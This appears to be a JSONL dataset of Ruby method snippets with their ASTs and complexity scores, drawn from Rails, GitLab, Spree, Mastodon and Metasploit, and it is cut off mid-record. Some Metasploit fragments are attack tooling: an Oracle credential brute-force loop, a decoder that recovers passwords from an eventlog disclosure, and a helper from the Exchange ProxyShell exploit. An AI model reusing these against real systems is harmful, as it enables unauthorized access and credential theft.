{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/omniauth_callbacks_controller.rb","start_line":334,"raw_source":"def oauth\n @oauth ||= request.env['omniauth.auth']\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"oauth\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@oauth\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"omniauth.auth\"]}]}]}]}","id":"abb7dc19-1eb4-4131-8a0b-2b827bbbc4cb"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/exchange_proxyshell_rce.rb","start_line":350,"raw_source":"def web_directory\n if datastore['UseAlternatePath']\n datastore['IISWritePath'].gsub('\\\\', '/')\n else\n datastore['ExchangeWritePath'].gsub('\\\\', '/')\n end\n end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"web_directory\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UseAlternatePath\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"IISWritePath\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ExchangeWritePath\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}","id":"7eb788ec-7583-4670-85e9-1f4194a64a1c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/registrations_controller_spec.rb","start_line":712,"raw_source":"def expect_password_failure\n expect_failure(s_('Profiles|Invalid password'))\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_password_failure\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"expect_failure\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Profiles|Invalid password\"]}]}]}]}","id":"108c6598-c42d-4f26-8b58-37bba82d64ab"} {"repo_name":"forem","file_path":"./repos/forem/app/services/markdown_processor/fixer/base.rb","start_line":69,"raw_source":"def self.add_quotes_to_section(markdown, section:)\n # Only add quotes to front matter, or text between triple dashes\n markdown.sub(FRONT_MATTER_DETECTOR) do |front_matter|\n front_matter.gsub(/#{section}: ?(?<content>.*?)(\\r\\n|\\n)/m) do |target|\n # `content` is the captured group (.*?)\n captured_text = Regexp.last_match(\"content\")\n # The query below checks if the whole text is wrapped in\n # either single or double quotes.\n match = captured_text.scan(/(^\".*\"$|^'.*'$)/)\n if match.empty?\n # Double quotes that aren't already escaped will get escaped.\n # Then the whole text get warped in double quotes.\n parsed_text = captured_text.gsub(/(?<!\\\\)\"/, \"\\\\\\\"\")\n \"#{section}: \\\"#{parsed_text}\\\"\\n\"\n else\n # if the text comes pre-warped in either single or double quotes,\n # no more processing is done\n target\n end\n end\n end\n end","complexity_score":15.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add_quotes_to_section\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"markdown\"]},{\"type\":\"kwarg\",\"children\":[\"section\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"markdown\"]},\"sub\",{\"type\":\"const\",\"children\":[null,\"FRONT_MATTER_DETECTOR\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"front_matter\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"front_matter\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]}]},{\"type\":\"str\",\"children\":[\": ?(?<content>.*?)(\\\\r\\\\n|\\\\n)\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"captured_text\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"str\",\"children\":[\"content\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"captured_text\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(^\\\".*\\\"$|^'.*'$)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"captured_text\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(?<!\\\\\\\\)\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\\\\"\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]}]},{\"type\":\"str\",\"children\":[\": \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_text\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]}]}]},{\"type\":\"lvar\",\"children\":[\"target\"]}]}]}]}]}]}","id":"64b09b73-fcdd-4ce1-8ae0-d8b16820a4d0"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":561,"raw_source":"def test_should_warn_on_missing_csrf_token\n old_logger = ActionController::Base.logger\n logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new\n ActionController::Base.logger = logger\n\n begin\n assert_blocked { post :index }\n\n assert_equal 1, logger.logged(:warn).size\n assert_match(/CSRF token authenticity/, logger.logged(:warn).last)\n ensure\n ActionController::Base.logger = old_logger\n end\n end","complexity_score":17.53,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_warn_on_missing_csrf_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"logger\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"LogSubscriber\"]},\"TestHelper\"]},\"MockLogger\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"logger=\",{\"type\":\"lvar\",\"children\":[\"logger\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_blocked\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"index\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"logged\",{\"type\":\"sym\",\"children\":[\"warn\"]}]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"CSRF token authenticity\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"logged\",{\"type\":\"sym\",\"children\":[\"warn\"]}]},\"last\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"logger=\",{\"type\":\"lvar\",\"children\":[\"old_logger\"]}]}]}]}]}]}","id":"27b34467-4294-46f3-8ccd-512b3c473594"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/protected_tag_helpers.rb","start_line":12,"raw_source":"def set_protected_tag_name(tag_name)\n find('.js-protected-tag-select').click\n find('.dropdown-input-field').set(tag_name)\n click_on(\"Create wildcard #{tag_name}\")\n find('.protected-tags-dropdown .dropdown-menu', visible: false)\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_protected_tag_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".js-protected-tag-select\"]}]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".dropdown-input-field\"]}]},\"set\",{\"type\":\"lvar\",\"children\":[\"tag_name\"]}]},{\"type\":\"send\",\"children\":[null,\"click_on\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Create wildcard \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".protected-tags-dropdown .dropdown-menu\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"3de4b0fd-4c6e-4e8d-af41-1ff846e76600"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/zone.rb","start_line":31,"raw_source":"def self.default_tax\n Rails.cache.fetch('default_tax') do\n find_by(default_tax: true)\n end\n end","complexity_score":4.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default_tax\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"default_tax\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_tax\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"1bdfdb18-e527-4b04-a09f-dba976d37d98"} {"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/core/controller_helpers/locale.rb","start_line":70,"raw_source":"def supported_locales_for_all_stores\n @supported_locales_for_all_stores ||= Spree.available_locales\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"supported_locales_for_all_stores\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@supported_locales_for_all_stores\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"available_locales\"]}]}]}","id":"2ddbf485-300a-4a11-a6d2-a360108d9447"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/jira.rb","start_line":465,"raw_source":"def project_keys_as_string\n project_keys.join(',')\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project_keys_as_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_keys\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]}","id":"b391f56e-861d-4543-9188-34e3e095bf7a"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/command/base.rb","start_line":57,"raw_source":"def inherited(base) # :nodoc:\n super\n\n if base.name && !base.name.end_with?(\"Base\")\n Rails::Command.subclasses << base\n end\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"inherited\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"name\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"Base\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"Command\"]},\"subclasses\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"base\"]}]},null]}]}]}","id":"4f38ead6-377c-4dbc-b0de-0ca1995248ca"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker.rb","start_line":629,"raw_source":"def self.normalized_type\n @normalized_type ||= if module_parent == Object\n name.sub(/^Miq/, '').underscore\n else\n name.demodulize.underscore\n end\n end","complexity_score":12.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"normalized_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@normalized_type\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"module_parent\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"Object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Miq\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"underscore\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"demodulize\"]},\"underscore\"]}]}]}]}","id":"110921ee-cf71-4fb4-ad68-ae7dd6547e2d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/error_tracking_open_api/lib/error_tracking_open_api/models/error_v2.rb","start_line":41,"raw_source":"def initialize(datatype, allowable_values)\n @allowable_values = allowable_values.map do |value|\n case datatype.to_s\n when /Integer/i\n value.to_i\n when /Float/i\n value.to_f\n else\n value\n end\n end\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"datatype\"]},{\"type\":\"arg\",\"children\":[\"allowable_values\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@allowable_values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowable_values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datatype\"]},\"to_s\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Integer\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_i\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Float\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_f\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"d54b7c22-ae99-4586-9c52-4d3499a5790c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/apple_ios_backup.rb","start_line":180,"raw_source":"def process_backups(paths)\n paths.each { |path| process_backup(path) }\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"process_backups\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"paths\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"process_backup\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"dccf590a-0621-4efc-8b62-f7a74f4fb95b"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/params_wrapper_test.rb","start_line":411,"raw_source":"def parse\n self.class.last_parameters = request.params.except(:controller, :action)\n head :ok\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"last_parameters=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"params\"]},\"except\",{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"sym\",\"children\":[\"action\"]}]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"d7bcedfb-14f8-4dc1-9b65-a367cfd763b5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/bulk_imports/lfs_objects_export_service.rb","start_line":11,"raw_source":"def initialize(portable, export_path)\n @portable = portable\n @export_path = export_path\n @lfs_json = {}\n @exported_objects_count = 0\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"portable\"]},{\"type\":\"arg\",\"children\":[\"export_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@portable\",{\"type\":\"lvar\",\"children\":[\"portable\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@export_path\",{\"type\":\"lvar\",\"children\":[\"export_path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@lfs_json\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@exported_objects_count\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"ccf01378-bcb3-4726-8048-cc089f423697"} {"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/fetch_multi_test.rb","start_line":261,"raw_source":"def test_fetch_multi_after_expiring_a_record\n Item.fetch_multi(@joe.id, @fred.id)\n @bob.expire_cache\n assert_equal(IdentityCache::DELETED, backend.read(@bob.primary_cache_index_key))\n\n add = Spy.on(IdentityCache.cache.cache_fetcher, :add).and_call_through\n\n assert_equal([@bob, @joe, @fred], Item.fetch_multi(@bob.id, @joe.id, @fred.id))\n refute(add.has_been_called?)\n assert_equal(cache_response_for(Item.find(@bob.id)), backend.read(@bob.primary_cache_index_key))\n end","complexity_score":33.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_multi_after_expiring_a_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@joe\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fred\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob\"]},\"expire_cache\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"DELETED\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"backend\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob\"]},\"primary_cache_index_key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"add\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spy\"]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"cache\"]},\"cache_fetcher\"]},{\"type\":\"sym\",\"children\":[\"add\"]}]},\"and_call_through\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob\"]},{\"type\":\"ivar\",\"children\":[\"@joe\"]},{\"type\":\"ivar\",\"children\":[\"@fred\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@joe\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fred\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"refute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"add\"]},\"has_been_called?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"cache_response_for\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"backend\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob\"]},\"primary_cache_index_key\"]}]}]}]}]}","id":"37388f59-3dd0-478c-96b4-fae21366583e"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/accounts_helper.rb","start_line":14,"raw_source":"def acct(account)\n if account.local?\n \"@#{account.acct}@#{site_hostname}\"\n else\n \"@#{account.pretty_acct}\"\n end\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"acct\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"local?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"acct\"]}]},{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"site_hostname\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"pretty_acct\"]}]}]}]}]}","id":"746dcd7a-5925-4fcf-b6d8-23315ea9abaa"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/eventlog_cred_disclosure.rb","start_line":54,"raw_source":"def decode_password(encoded_password)\n password_xor = Rex::Text.decode_base64(encoded_password)\n password = ''\n password_xor.bytes.each do |byte|\n password << (byte ^ 0x30)\n end\n return password\n end","complexity_score":8.98,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_password\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"encoded_password\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"password_xor\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"decode_base64\",{\"type\":\"lvar\",\"children\":[\"encoded_password\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password_xor\"]},\"bytes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"byte\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]},\"<<\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"byte\"]},\"^\",{\"type\":\"int\",\"children\":[48]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]}","id":"6065d59d-883f-41ba-9407-ec37803ca3e3"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/acpp/message.rb","start_line":84,"raw_source":"def initialize\n @payload = ''\n @type = 0\n @status = 0\n @password = ''\n @unknown1 = 1\n @unknown2 = ''\n @unknown3 = ''\n @unknown4 = ''\n end","complexity_score":8.25,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@payload\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@type\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@status\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@password\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@unknown1\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"ivasgn\",\"children\":[\"@unknown2\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@unknown3\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@unknown4\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"79cb86d1-c4b4-4b70-a557-a56d1bb69454"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/oracle/oracle_login.rb","start_line":71,"raw_source":"def run\n return if !check_dependencies\n\n list = datastore['CSVFILE']\n\n print_status(\"Starting brute force on #{datastore['RHOST']}:#{datastore['RPORT']}...\")\n\n CSV.foreach(list) do |brute|\n datastore['DBUSER'] = brute[2].downcase\n datastore['DBPASS'] = brute[3].downcase\n\n begin\n connect\n disconnect\n rescue ::OCIError => e\n if e.to_s =~ /^ORA-12170:\\s/\n print_error(\"#{datastore['RHOST']}:#{datastore['RPORT']} Connection timed out\")\n break\n else\n vprint_error(\"#{datastore['RHOST']}:#{datastore['RPORT']} - LOGIN FAILED: #{datastore['DBUSER']}: #{e})\")\n end\n else\n report_cred(\n ip: datastore['RHOST'],\n port: datastore['RPORT'],\n service_name: 'oracle',\n user: \"#{datastore['SID']}/#{datastore['DBUSER']}\",\n password: datastore['DBPASS']\n )\n print_good(\"Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}\")\n end\n end\n end","complexity_score":87.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_dependencies\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CSVFILE\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Starting brute force on 